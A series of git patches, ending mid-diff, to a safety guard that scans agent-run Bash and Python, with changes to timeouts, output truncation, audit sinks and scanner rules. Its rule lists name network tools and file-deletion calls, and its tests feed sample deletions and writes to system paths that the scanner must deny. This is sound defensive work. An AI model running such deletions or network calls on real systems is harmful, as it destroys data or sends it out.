b/tests/tools/safety/test_cli_and_acceptance.py index c12c261b4..8f483e23d 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -19,7 +19,8 @@ from trpc_agent_sdk.tools.safety._audit import SafetyAuditError from trpc_agent_sdk.tools.safety import SafetyDecision -EXAMPLE_DIR = Path("examples/tool_safety_guard") +REPO_ROOT = Path(__file__).resolve().parents[3] +EXAMPLE_DIR = REPO_ROOT / "examples/tool_safety_guard" def _results(): diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py index a7af16556..543fa452b 100644 --- a/tests/tools/safety/test_filter.py +++ b/tests/tools/safety/test_filter.py @@ -92,6 +92,17 @@ async def handler(): assert sink.events[0].execution_blocked is False +@pytest.mark.asyncio +async def test_allow_preserves_integer_timeout_type(): + args = {"command": "echo ok", "timeout": 3} + + async def handler(): + assert isinstance(args["timeout"], int) + return {"stdout": "ok"} + + await _run_filter(_filter(_MemorySink()), args, handler) + + @pytest.mark.asyncio async def test_deny_stops_handler_and_returns_report(): sink = _MemorySink() diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index fe3813a6a..7f5089283 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -230,7 +230,11 @@ async def _before(self, ctx: AgentContext, req: Any, rsp: FilterResult): rsp.is_continue = False return if request and request.applicable and request.timeout_arg_name: - req[request.timeout_arg_name] = request.effective_timeout_seconds + value = request.effective_timeout_seconds + original = req.get(request.timeout_arg_name) + if isinstance(original, int) and not isinstance(original, bool): + value = int(value) + req[request.timeout_arg_name] = value async def _after(self, ctx: AgentContext, req: Any, rsp: FilterResult): """Limit returned output after an allowed execution.""" From e19664423207cfe0b981d32215f8809bc1623c1a Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 12:24:36 +0800 Subject: [PATCH 10/29] fix(safety): close static deletion gaps --- examples/tool_safety_guard/README.md | 2 +- examples/tool_safety_guard/mcp_server.py | 9 +++++- tests/tools/safety/test_cli_and_acceptance.py | 29 +++++++++++++++++++ tests/tools/safety/test_scanner.py | 26 +++++++++++++++++ trpc_agent_sdk/tools/safety/_python_rules.py | 15 ++++++++-- 5 files changed, 76 insertions(+), 5 deletions(-) diff --git a/examples/tool_safety_guard/README.md b/examples/tool_safety_guard/README.md index 5b461e75d..74448ac58 100644 --- a/examples/tool_safety_guard/README.md +++ b/examples/tool_safety_guard/README.md @@ -67,7 +67,7 @@ safe_executor = SafetyGuardedCodeExecutor( ``` wrapper 统一执行扫描、审计、阻断、wall-clock timeout 和返回 output 截断； -超时返回 `CodeExecutionResult(is_timed_out=True)`。 +超时返回 `outcome=DEADLINE_EXCEEDED`，并在 output 中包含超时提示。 ## 真实模型 Agent diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index 3b637f5b5..acc0c8834 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -25,6 +25,7 @@ POLICY_PATH = WORK_DIR / "tool_safety_policy.yaml" GUARD = ToolScriptSafetyGuard.from_policy(POLICY_PATH) MAX_OUTPUT_CHARS = 4096 +PROCESS_REAP_TIMEOUT_SECONDS = 1.0 @APP.tool() @@ -90,7 +91,13 @@ async def execute_command(command: str, timeout: float | None = None) -> dict: ) except asyncio.TimeoutError: process.kill() - await process.communicate() + try: + await asyncio.wait_for( + process.communicate(), + timeout=PROCESS_REAP_TIMEOUT_SECONDS, + ) + except asyncio.TimeoutError: + pass return { "return_code": None, "stdout": "", diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py index 8f483e23d..6d73d0fea 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -5,8 +5,11 @@ # tRPC-Agent-Python is licensed under Apache-2.0. """Public sample corpus and CLI acceptance tests.""" +import asyncio from pathlib import Path +import examples.tool_safety_guard.mcp_server as mcp_server +import pytest import yaml from trpc_agent_sdk.tools.safety import adapt_cli_request @@ -149,3 +152,29 @@ def fail_audit(*args, **kwargs): def test_cli_exit_codes_cover_allow_and_review(): assert _exit_code(SafetyDecision.ALLOW) == 0 assert _exit_code(SafetyDecision.NEEDS_HUMAN_REVIEW) == 2 + + +@pytest.mark.asyncio +async def test_mcp_timeout_reap_is_bounded(monkeypatch): + + class _HungProcess: + returncode = None + killed = False + + async def communicate(self): + await asyncio.sleep(60) + + def kill(self): + self.killed = True + + process = _HungProcess() + + async def create_process(*args, **kwargs): + del args, kwargs + return process + + monkeypatch.setattr(mcp_server.asyncio, "create_subprocess_exec", create_process) + monkeypatch.setattr(mcp_server, "PROCESS_REAP_TIMEOUT_SECONDS", 0.01) + result = await mcp_server.execute_command("echo ok", timeout=0.01) + assert process.killed is True + assert result["timed_out"] is True diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 4915402e4..7af4883b5 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -67,6 +67,32 @@ def test_recursive_delete_denied_python_alias(guard): assert "FILE001" in _rule_ids(report) +@pytest.mark.parametrize("call", ["os.remove", "os.unlink", "os.rmdir"]) +def test_python_delete_calls_are_denied(guard, call): + report = guard.scan(_request(f"import os\n{call}('/tmp/important')")) + assert report.decision == SafetyDecision.DENY + assert "FILE001" in _rule_ids(report) + + +def test_os_open_dynamic_flags_are_treated_as_write(guard): + report = guard.scan(_request("import os\nflags = get_flags()\nos.open('/etc/tool-safety', flags)")) + assert report.decision == SafetyDecision.DENY + assert "FILE001" in _rule_ids(report) + + +def test_os_open_missing_or_unavailable_flags_fail_closed(guard): + report = guard.scan(_request("import os\nos.open('/etc/tool-safety')")) + assert report.decision == SafetyDecision.DENY + visitor = PythonRuleVisitor(_PythonScanContext("", _request(""), guard.policy, guard.sanitizer)) + call = ast.parse("os.open(path, flags)").body[0].value + assert visitor._is_write_call(call, "os.open") is True + + +def test_os_open_explicit_read_only_flags_are_allowed(guard): + report = guard.scan(_request("import os\nos.open('/tmp/tool-safety', os.O_RDONLY)")) + assert report.decision == SafetyDecision.ALLOW + + @pytest.mark.parametrize( "code", [ diff --git a/trpc_agent_sdk/tools/safety/_python_rules.py b/trpc_agent_sdk/tools/safety/_python_rules.py index 7475c34d2..599928847 100644 --- a/trpc_agent_sdk/tools/safety/_python_rules.py +++ b/trpc_agent_sdk/tools/safety/_python_rules.py @@ -31,7 +31,7 @@ _NETWORK_ROOTS = frozenset({"requests", "aiohttp", "socket", "urllib", "httpx"}) _PROCESS_CALLS = frozenset({"subprocess.run", "subprocess.call", "subprocess.Popen", "os.system", "os.popen"}) -_DELETE_CALLS = frozenset({"shutil.rmtree"}) +_DELETE_CALLS = frozenset({"shutil.rmtree", "os.remove", "os.unlink", "os.rmdir"}) _DIRECT_FILE_CALLS = frozenset({"open", "builtins.open", "io.open", "os.open", "os.remove", "os.unlink", "os.rmdir"}) _PATH_METHODS = frozenset({"open", "read_text", "read_bytes", "write_text", "write_bytes", "unlink", "rmdir"}) _OUTPUT_CALLS = frozenset( @@ -468,8 +468,17 @@ def _is_write_call(self, node: ast.Call, name: str) -> bool: if tail in {"write_text", "write_bytes"}: return True if name == "os.open": - flag_text = ast.get_source_segment(self._context.source, node.args[1]) if len(node.args) > 1 else "" - return bool(flag_text and re.search(r"O_(?:WRONLY|RDWR|CREAT|TRUNC|APPEND)", flag_text)) + if len(node.args) <= 1: + return True + try: + flag_text = ast.get_source_segment(self._context.source, node.args[1]) + except (IndexError, UnicodeError): + flag_text = None + if not flag_text: + return True + if re.search(r"O_(?:WRONLY|RDWR|CREAT|TRUNC|APPEND)", flag_text): + return True + return not bool(re.fullmatch(r"\s*(?:(?:os\.)?O_RDONLY|0)\s*", flag_text)) if tail != "open": return False mode_node = node.args[1] if len(node.args) > 1 else None From 8d685ad7fd34b3e23b67e3623b701f677f8aebc0 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 13:23:49 +0800 Subject: [PATCH 11/29] fix(safety): harden output and audit handling Normalize non-finite timeouts, serialize custom audit sinks, and expose a public output limiter so integrations avoid private APIs. --- examples/tool_safety_guard/mcp_server.py | 3 ++- tests/tools/safety/test_adapters.py | 1 + .../tools/safety/test_audit_and_telemetry.py | 16 +++++++++++++++ tests/tools/safety/test_concurrency.py | 20 ++++++++++++------- tests/tools/safety/test_scanner.py | 14 +++++++++++++ trpc_agent_sdk/tools/safety/_audit.py | 17 ++++++++-------- trpc_agent_sdk/tools/safety/_common_rules.py | 9 +++++++++ trpc_agent_sdk/tools/safety/_integration.py | 5 ++--- trpc_agent_sdk/tools/safety/_sanitizer.py | 12 ++++++++++- trpc_agent_sdk/tools/safety/_scanner.py | 20 ++++++++++++++++--- 10 files changed, 94 insertions(+), 23 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index acc0c8834..e000090a2 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -104,11 +104,12 @@ async def execute_command(command: str, timeout: float | None = None) -> dict: "stderr": "Command exceeded the tool safety timeout.", "timed_out": True, } - return { + response = { "return_code": process.returncode, "stdout": stdout.decode(errors="replace")[:MAX_OUTPUT_CHARS], "stderr": stderr.decode(errors="replace")[:MAX_OUTPUT_CHARS], } + return GUARD.limit_output(response) if __name__ == "__main__": diff --git a/tests/tools/safety/test_adapters.py b/tests/tools/safety/test_adapters.py index 87dec1a51..a31b9cf19 100644 --- a/tests/tools/safety/test_adapters.py +++ b/tests/tools/safety/test_adapters.py @@ -47,6 +47,7 @@ def test_adapt_non_finite_timeout_falls_back_to_policy_limit(): request = adapt_tool_request(tool, {"command": "echo ok", "timeout": float("nan")}, _policy()) + assert request.requested_timeout_seconds is None assert request.effective_timeout_seconds == 30 diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index 96ca45930..e9ba48462 100644 --- a/tests/tools/safety/test_audit_and_telemetry.py +++ b/tests/tools/safety/test_audit_and_telemetry.py @@ -121,6 +121,22 @@ def test_composite_uses_fallback(): assert fallback.events[0].decision == SafetyDecision.DENY +def test_composite_fallback_marks_rewritten_event_redacted(): + fallback = _MemorySink() + sink = CompositeAuditSink(_FailingSink(), fallback) + report = SafetyReport( + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.NONE, + duration_ms=1, + redacted=False, + summary="safe", + max_output_bytes=100, + ) + with pytest.raises(SafetyAuditDegradedError): + sink.emit(create_audit_event(report, "Bash", False)) + assert fallback.events[0].redacted is True + + def test_composite_fails_closed_when_both_sinks_fail(): sink = CompositeAuditSink(_FailingSink(), _FailingSink()) with pytest.raises(SafetyAuditError, match="all tool safety audit sinks failed"): diff --git a/tests/tools/safety/test_concurrency.py b/tests/tools/safety/test_concurrency.py index 2fc339cd1..f964dea67 100644 --- a/tests/tools/safety/test_concurrency.py +++ b/tests/tools/safety/test_concurrency.py @@ -92,16 +92,22 @@ def emit(self, event): assert sink.overlapped is False -def test_independent_audit_sinks_do_not_share_one_lock(): +def test_independent_audit_sinks_share_fallback_lock(): - class BarrierSink: + class TrackingSink: - def __init__(self, barrier): - self.barrier = barrier + active = 0 + overlapped = False + state_lock = threading.Lock() def emit(self, event): del event - self.barrier.wait(timeout=1) + with self.state_lock: + self.__class__.active += 1 + self.__class__.overlapped = self.__class__.overlapped or self.__class__.active > 1 + time.sleep(0.001) + with self.state_lock: + self.__class__.active -= 1 report = SafetyReport( decision=SafetyDecision.ALLOW, @@ -111,7 +117,7 @@ def emit(self, event): summary="safe", max_output_bytes=100, ) - barrier = threading.Barrier(2) - sinks = [BarrierSink(barrier), BarrierSink(barrier)] + sinks = [TrackingSink(), TrackingSink()] with ThreadPoolExecutor(max_workers=2) as pool: list(pool.map(lambda sink: emit_report(sink, report, "tool"), sinks)) + assert TrackingSink.overlapped is False diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 7af4883b5..cbaf995ca 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -93,6 +93,19 @@ def test_os_open_explicit_read_only_flags_are_allowed(guard): assert report.decision == SafetyDecision.ALLOW +def test_non_finite_scan_timeout_is_reviewed_as_invalid(guard): + report = guard.scan(_request("echo ok", timeout=float("nan"))) + assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW + assert "not finite" in report.findings[0].evidence + + +def test_guard_limits_output_with_policy_budget(): + guard = ToolScriptSafetyGuard(ToolSafetyPolicy(max_output_bytes=20)) + result = guard.limit_output(["x" * 5, "y" * 20]) + assert result[-1] == "[TRUNCATED]" + assert sum(len(item.encode("utf-8")) for item in result) <= 20 + + @pytest.mark.parametrize( "code", [ @@ -314,6 +327,7 @@ def test_safety_edge_helpers_cover_invalid_and_dynamic_inputs(): assert path_is_system_location("/") is True assert truncate_output("hello", 3) == "hel" assert truncate_output(["hello", 42, "world"], 6) == ["hello", 42, "w"] + assert truncate_output(["x" * 5, "y" * 20], 20)[-1] == "[TRUNCATED]" assert truncate_output(42, 3) == 42 with pytest.raises(ValueError, match="evidence_chars"): SafetySanitizer(0) diff --git a/trpc_agent_sdk/tools/safety/_audit.py b/trpc_agent_sdk/tools/safety/_audit.py index a2d2dff8b..dfec3cf9c 100644 --- a/trpc_agent_sdk/tools/safety/_audit.py +++ b/trpc_agent_sdk/tools/safety/_audit.py @@ -121,6 +121,8 @@ def emit(self, event: SafetyAuditEvent) -> None: event.decision if event.decision == SafetyDecision.DENY else SafetyDecision.NEEDS_HUMAN_REVIEW), "risk_level": ( event.risk_level if event.risk_level in {RiskLevel.HIGH, RiskLevel.CRITICAL} else RiskLevel.MEDIUM), + "redacted": + True, "execution_blocked": True, }) @@ -159,15 +161,14 @@ def _open_secure_file(path: Path) -> IO[str]: def _shared_sink_lock(sink: AuditSink) -> threading.RLock: + if not isinstance(sink, JsonlAuditSink): + return _FALLBACK_SINK_LOCK with _SINK_LOCKS_GUARD: - try: - lock = _SINK_LOCKS.get(sink) - if lock is None: - lock = threading.RLock() - _SINK_LOCKS[sink] = lock - return lock - except TypeError: - return _FALLBACK_SINK_LOCK + lock = _SINK_LOCKS.get(sink) + if lock is None: + lock = threading.RLock() + _SINK_LOCKS[sink] = lock + return lock def create_audit_event(report: SafetyReport, tool_name: str, execution_blocked: bool) -> SafetyAuditEvent: diff --git a/trpc_agent_sdk/tools/safety/_common_rules.py b/trpc_agent_sdk/tools/safety/_common_rules.py index cf1306d99..1473e0d0e 100644 --- a/trpc_agent_sdk/tools/safety/_common_rules.py +++ b/trpc_agent_sdk/tools/safety/_common_rules.py @@ -8,6 +8,7 @@ from __future__ import annotations from dataclasses import dataclass +import math import ntpath import posixpath import re @@ -198,6 +199,14 @@ def scan_limits(request: ScriptScanRequest, policy: ToolSafetyPolicy, requested = request.requested_timeout_seconds if requested is None or 0 < requested <= policy.max_timeout_seconds: return [], False + if not math.isfinite(requested): + finding, redacted = make_finding( + "POLICY001", + f"requested timeout {requested}s is not finite", + POLICY_REVIEW, + sanitizer, + ) + return [finding], redacted if requested <= 0: return [], False evidence = f"requested timeout {requested}s exceeds {policy.max_timeout_seconds}s" diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index 7f5089283..db7b042aa 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -35,7 +35,6 @@ from ._models import ScriptScanRequest from ._models import ToolMetadata from ._models import ToolSafetyPolicy -from ._sanitizer import truncate_output from ._sanitizer import truncate_text from ._scanner import ToolScriptSafetyGuard @@ -71,7 +70,7 @@ def _timeout(args: dict[str, Any], name: str, policy: ToolSafetyPolicy) -> tuple raw = args.get(arg_name) if arg_name else None requested = float(raw) if isinstance(raw, (int, float)) else None if requested is not None and not math.isfinite(requested): - return requested, float(policy.max_timeout_seconds), arg_name + return None, float(policy.max_timeout_seconds), arg_name if requested is None or requested <= 0: return requested, float(policy.max_timeout_seconds), arg_name return requested, min(requested, float(policy.max_timeout_seconds)), arg_name @@ -243,7 +242,7 @@ async def _after(self, ctx: AgentContext, req: Any, rsp: FilterResult): def finalize_response(self, response: Any) -> Any: """Limit output after an allowed execution.""" - return truncate_output(response, self._guard.policy.max_output_bytes) + return self._guard.limit_output(response) @classmethod def from_policy( diff --git a/trpc_agent_sdk/tools/safety/_sanitizer.py b/trpc_agent_sdk/tools/safety/_sanitizer.py index 6f3abe7d2..92cb4a18e 100644 --- a/trpc_agent_sdk/tools/safety/_sanitizer.py +++ b/trpc_agent_sdk/tools/safety/_sanitizer.py @@ -92,12 +92,22 @@ def truncate_output(value: Any, max_bytes: int) -> Any: if isinstance(value, list): result = list(value) remaining = max_bytes + marker = "[TRUNCATED]" + marker_bytes = len(marker.encode("utf-8")) + string_bytes = sum(len(item.encode("utf-8")) for item in result if isinstance(item, str)) + reserve_marker = max_bytes >= marker_bytes and string_bytes > max_bytes + if reserve_marker: + remaining -= marker_bytes + truncated = False for index, item in enumerate(result): if not isinstance(item, str): continue - limited, _ = truncate_text(item, max(remaining, 0)) + limited, changed = truncate_text(item, max(remaining, 0)) result[index] = limited remaining -= len(limited.encode("utf-8")) + truncated = truncated or changed + if truncated and reserve_marker: + result.append(marker) return result if not isinstance(value, dict): return value diff --git a/trpc_agent_sdk/tools/safety/_scanner.py b/trpc_agent_sdk/tools/safety/_scanner.py index 4a9c10302..5317265db 100644 --- a/trpc_agent_sdk/tools/safety/_scanner.py +++ b/trpc_agent_sdk/tools/safety/_scanner.py @@ -8,6 +8,7 @@ from __future__ import annotations import time +from typing import Any from ._bash_rules import nested_payloads from ._bash_rules import scan_bash @@ -26,6 +27,7 @@ from ._models import ToolSafetyPolicy from ._python_rules import scan_python from ._sanitizer import SafetySanitizer +from ._sanitizer import truncate_output from ._common_rules import make_finding from ._common_rules import RuleSpec from ._models import RiskCategory @@ -95,6 +97,10 @@ def error_report(self, error: Exception) -> SafetyReport: effective_timeout_seconds=float(self.policy.max_timeout_seconds), ) + def limit_output(self, output: Any) -> Any: + """Limit tool output to the configured byte budget.""" + return truncate_output(output, self.policy.max_output_bytes) + def _scan_payload( self, payload: ScriptPayload, @@ -140,9 +146,17 @@ def _scan_request_context( self, request: ScriptScanRequest, ) -> tuple[list[SafetyFinding], bool]: - text = " ".join( - [request.cwd, *request.env_keys, *(arg for payload in request.payloads for arg in payload.argv)]) - findings, redacted = scan_paths(text, request, self.policy, self.sanitizer) + findings = [] + redacted = False + context_values = [ + request.cwd, + *request.env_keys, + *(arg for payload in request.payloads for arg in payload.argv), + ] + for value in context_values: + context_findings, changed = scan_paths(value, request, self.policy, self.sanitizer) + findings.extend(context_findings) + redacted = redacted or changed if request.background or request.tty: spec = RuleSpec( RiskCategory.PROCESS, From 75e8e0c53b1b93fdd4420b8de8e91444e5429eb1 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 13:43:25 +0800 Subject: [PATCH 12/29] fix(safety): harden MCP timeout recovery Reap timed-out subprocesses without reusing canceled pipe readers, enforce output limits on timeout responses, and reduce shell keyword review noise. --- examples/tool_safety_guard/mcp_server.py | 12 ++++--- tests/tools/safety/test_cli_and_acceptance.py | 32 +++++++++++++++++++ tests/tools/safety/test_scanner.py | 14 ++++++++ trpc_agent_sdk/tools/safety/_bash_rules.py | 18 ++++++++++- 4 files changed, 71 insertions(+), 5 deletions(-) diff --git a/examples/tool_safety_guard/mcp_server.py b/examples/tool_safety_guard/mcp_server.py index e000090a2..91c7a0fc6 100644 --- a/examples/tool_safety_guard/mcp_server.py +++ b/examples/tool_safety_guard/mcp_server.py @@ -90,20 +90,24 @@ async def execute_command(command: str, timeout: float | None = None) -> dict: timeout=request.effective_timeout_seconds, ) except asyncio.TimeoutError: - process.kill() + try: + process.kill() + except ProcessLookupError: + pass try: await asyncio.wait_for( - process.communicate(), + process.wait(), timeout=PROCESS_REAP_TIMEOUT_SECONDS, ) - except asyncio.TimeoutError: + except (asyncio.TimeoutError, ProcessLookupError): pass - return { + response = { "return_code": None, "stdout": "", "stderr": "Command exceeded the tool safety timeout.", "timed_out": True, } + return GUARD.limit_output(response) response = { "return_code": process.returncode, "stdout": stdout.decode(errors="replace")[:MAX_OUTPUT_CHARS], diff --git a/tests/tools/safety/test_cli_and_acceptance.py b/tests/tools/safety/test_cli_and_acceptance.py index 6d73d0fea..b46ad168b 100644 --- a/tests/tools/safety/test_cli_and_acceptance.py +++ b/tests/tools/safety/test_cli_and_acceptance.py @@ -164,17 +164,49 @@ class _HungProcess: async def communicate(self): await asyncio.sleep(60) + async def wait(self): + await asyncio.sleep(60) + def kill(self): self.killed = True process = _HungProcess() + limited = [] async def create_process(*args, **kwargs): del args, kwargs return process + original_limit_output = mcp_server.GUARD.limit_output + + def track_limit_output(response): + limited.append(response) + return original_limit_output(response) + monkeypatch.setattr(mcp_server.asyncio, "create_subprocess_exec", create_process) monkeypatch.setattr(mcp_server, "PROCESS_REAP_TIMEOUT_SECONDS", 0.01) + monkeypatch.setattr(mcp_server.GUARD, "limit_output", track_limit_output) result = await mcp_server.execute_command("echo ok", timeout=0.01) assert process.killed is True assert result["timed_out"] is True + assert limited == [result] + + +@pytest.mark.asyncio +async def test_mcp_timeout_reaps_real_subprocess(monkeypatch): + processes = [] + create_subprocess_exec = mcp_server.asyncio.create_subprocess_exec + + async def track_process(*args, **kwargs): + process = await create_subprocess_exec(*args, **kwargs) + processes.append(process) + return process + + monkeypatch.setattr(mcp_server.asyncio, "create_subprocess_exec", track_process) + result = await mcp_server.execute_command( + 'python -c "__import__(\'threading\').Event().wait(60)"', + timeout=0.05, + ) + assert result["timed_out"] is True + assert len(processes) == 1 + assert processes[0].returncode is not None diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index cbaf995ca..4ba85db0b 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -241,6 +241,20 @@ def test_unallowed_command_requires_review(guard): assert "POLICY002" in _rule_ids(report) +@pytest.mark.parametrize( + "command", + [ + 'for value in ok; do echo "$value"; done', + "if echo ok; then echo yes; else echo no; fi", + "while echo ok; do echo next; done", + "case ok in ok) echo yes;; esac", + ], +) +def test_shell_keywords_do_not_create_command_policy_noise(guard, command): + report = guard.scan(_request(command, ScriptLanguage.BASH)) + assert "POLICY002" not in _rule_ids(report) + + def test_timeout_over_policy_requires_review(guard): report = guard.scan(_request("print('ok')", timeout=31)) assert report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW diff --git a/trpc_agent_sdk/tools/safety/_bash_rules.py b/trpc_agent_sdk/tools/safety/_bash_rules.py index a0c8fa5f8..da6963768 100644 --- a/trpc_agent_sdk/tools/safety/_bash_rules.py +++ b/trpc_agent_sdk/tools/safety/_bash_rules.py @@ -38,6 +38,22 @@ _INTERPRETERS = frozenset({"sh", "bash", "zsh", "python", "python3"}) _SHELLS = frozenset({"sh", "bash", "zsh"}) _COMMAND_WRAPPERS = frozenset({"command", "exec", "nohup"}) +_SHELL_KEYWORDS = frozenset({ + "case", + "do", + "done", + "elif", + "else", + "esac", + "fi", + "for", + "if", + "in", + "select", + "then", + "until", + "while", +}) _PROCESS_RUNNERS = frozenset({"chrt", "ionice", "nice", "setsid", "stdbuf", "taskset", "timeout", "xargs"}) _NETWORK_COMMANDS = frozenset({"curl", "ssh", "wget"}) _CURL_REMAP_OPTIONS = ("--config", "--connect-to", "--proxy", "--resolve", "-K", "-x") @@ -321,7 +337,7 @@ def _check_commands(text: str, policy: ToolSafetyPolicy, redacted = False for segment in _COMMAND_SPLIT_RE.split(text): name = _command_name(segment.strip()) - if name and name not in allowed and name not in {"do", "done", "then", "fi"}: + if name and name not in allowed and name not in _SHELL_KEYWORDS: finding, changed = make_finding("POLICY002", name, COMMAND_REVIEW, sanitizer) findings.append(finding) redacted = redacted or changed From 9a90c50d0377b3962b1fa934f17d512cb7af7f9e Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 14:07:01 +0800 Subject: [PATCH 13/29] fix(safety): preserve truncation and timeout types Keep list truncation observable under tiny budgets and match integer timeout schemas when defaults are injected. --- tests/tools/safety/test_filter.py | 24 ++++++++++++++++++++- tests/tools/safety/test_scanner.py | 7 +++++- trpc_agent_sdk/tools/safety/_integration.py | 19 +++++++++++----- trpc_agent_sdk/tools/safety/_sanitizer.py | 4 ++-- 4 files changed, 45 insertions(+), 9 deletions(-) diff --git a/tests/tools/safety/test_filter.py b/tests/tools/safety/test_filter.py index 543fa452b..ac9d65e4b 100644 --- a/tests/tools/safety/test_filter.py +++ b/tests/tools/safety/test_filter.py @@ -103,6 +103,28 @@ async def handler(): await _run_filter(_filter(_MemorySink()), args, handler) +@pytest.mark.asyncio +async def test_allow_injects_integer_timeout_when_omitted(): + args = {"command": "echo ok"} + + async def handler(): + assert isinstance(args["timeout"], int) + return {"stdout": "ok"} + + await _run_filter(_filter(_MemorySink()), args, handler) + + +@pytest.mark.asyncio +async def test_allow_preserves_float_timeout_type(): + args = {"command": "echo ok", "timeout": 3.5} + + async def handler(): + assert isinstance(args["timeout"], float) + return {"stdout": "ok"} + + await _run_filter(_filter(_MemorySink()), args, handler) + + @pytest.mark.asyncio async def test_deny_stops_handler_and_returns_report(): sink = _MemorySink() @@ -227,7 +249,7 @@ async def handler(): return ["x" * 20, "y" * 20] result = await _run_filter(_filter(_MemorySink(), max_output=10), {"command": "echo ok"}, handler) - assert result == ["x" * 10, ""] + assert result == ["x" * 7, "", "[T]"] @pytest.mark.asyncio diff --git a/tests/tools/safety/test_scanner.py b/tests/tools/safety/test_scanner.py index 4ba85db0b..57e1959b4 100644 --- a/tests/tools/safety/test_scanner.py +++ b/tests/tools/safety/test_scanner.py @@ -106,6 +106,11 @@ def test_guard_limits_output_with_policy_budget(): assert sum(len(item.encode("utf-8")) for item in result) <= 20 +def test_list_output_truncation_is_visible_with_small_budget(): + result = truncate_output(["x" * 10, "y"], 10) + assert result[-1] == "[T]" + + @pytest.mark.parametrize( "code", [ @@ -340,7 +345,7 @@ def test_safety_edge_helpers_cover_invalid_and_dynamic_inputs(): assert stdin_language("python script.py") is None assert path_is_system_location("/") is True assert truncate_output("hello", 3) == "hel" - assert truncate_output(["hello", 42, "world"], 6) == ["hello", 42, "w"] + assert truncate_output(["hello", 42, "world"], 6) == ["hel", 42, "", "[T]"] assert truncate_output(["x" * 5, "y" * 20], 20)[-1] == "[TRUNCATED]" assert truncate_output(42, 3) == 42 with pytest.raises(ValueError, match="evidence_chars"): diff --git a/trpc_agent_sdk/tools/safety/_integration.py b/trpc_agent_sdk/tools/safety/_integration.py index db7b042aa..123239d71 100644 --- a/trpc_agent_sdk/tools/safety/_integration.py +++ b/trpc_agent_sdk/tools/safety/_integration.py @@ -76,6 +76,15 @@ def _timeout(args: dict[str, Any], name: str, policy: ToolSafetyPolicy) -> tuple return requested, min(requested, float(policy.max_timeout_seconds)), arg_name +def _timeout_value(tool_name: str, request: ScriptScanRequest, original: Any) -> int | float: + value = request.effective_timeout_seconds + if isinstance(original, int) and not isinstance(original, bool): + return int(value) + if original is None and tool_name.lower() in _BASH_TOOL_NAMES: + return int(value) + return value + + def adapt_tool_request(tool: Any, args: dict[str, Any], policy: ToolSafetyPolicy) -> ScriptScanRequest: """Adapt supported execution Tool arguments.""" name = str(getattr(tool, "name", "")).lower() @@ -229,11 +238,11 @@ async def _before(self, ctx: AgentContext, req: Any, rsp: FilterResult): rsp.is_continue = False return if request and request.applicable and request.timeout_arg_name: - value = request.effective_timeout_seconds - original = req.get(request.timeout_arg_name) - if isinstance(original, int) and not isinstance(original, bool): - value = int(value) - req[request.timeout_arg_name] = value + req[request.timeout_arg_name] = _timeout_value( + tool_name, + request, + req.get(request.timeout_arg_name), + ) async def _after(self, ctx: AgentContext, req: Any, rsp: FilterResult): """Limit returned output after an allowed execution.""" diff --git a/trpc_agent_sdk/tools/safety/_sanitizer.py b/trpc_agent_sdk/tools/safety/_sanitizer.py index 92cb4a18e..2c9540efa 100644 --- a/trpc_agent_sdk/tools/safety/_sanitizer.py +++ b/trpc_agent_sdk/tools/safety/_sanitizer.py @@ -92,10 +92,10 @@ def truncate_output(value: Any, max_bytes: int) -> Any: if isinstance(value, list): result = list(value) remaining = max_bytes - marker = "[TRUNCATED]" + marker = "[TRUNCATED]" if max_bytes >= len("[TRUNCATED]") else ("[T]" if max_bytes >= 3 else "!") marker_bytes = len(marker.encode("utf-8")) string_bytes = sum(len(item.encode("utf-8")) for item in result if isinstance(item, str)) - reserve_marker = max_bytes >= marker_bytes and string_bytes > max_bytes + reserve_marker = max_bytes > 0 and string_bytes > max_bytes if reserve_marker: remaining -= marker_bytes truncated = False From a3596af15901403086078811618b870c4bb3ecb9 Mon Sep 17 00:00:00 2001 From: qtds Date: Mon, 27 Jul 2026 14:59:23 +0800 Subject: [PATCH 14/29] fix(safety): tighten audit and shell checks Restrict newly created audit directories and continue scanning commands after shell control keywords. --- .../tools/safety/test_audit_and_telemetry.py | 10 +++++++++ tests/tools/safety/test_scanner.py | 22 +++++++++++++++++++ trpc_agent_sdk/tools/safety/_audit.py | 7 ++++++ trpc_agent_sdk/tools/safety/_bash_rules.py | 10 ++++++++- 4 files changed, 48 insertions(+), 1 deletion(-) diff --git a/tests/tools/safety/test_audit_and_telemetry.py b/tests/tools/safety/test_audit_and_telemetry.py index e9ba48462..fef16dd03 100644 --- 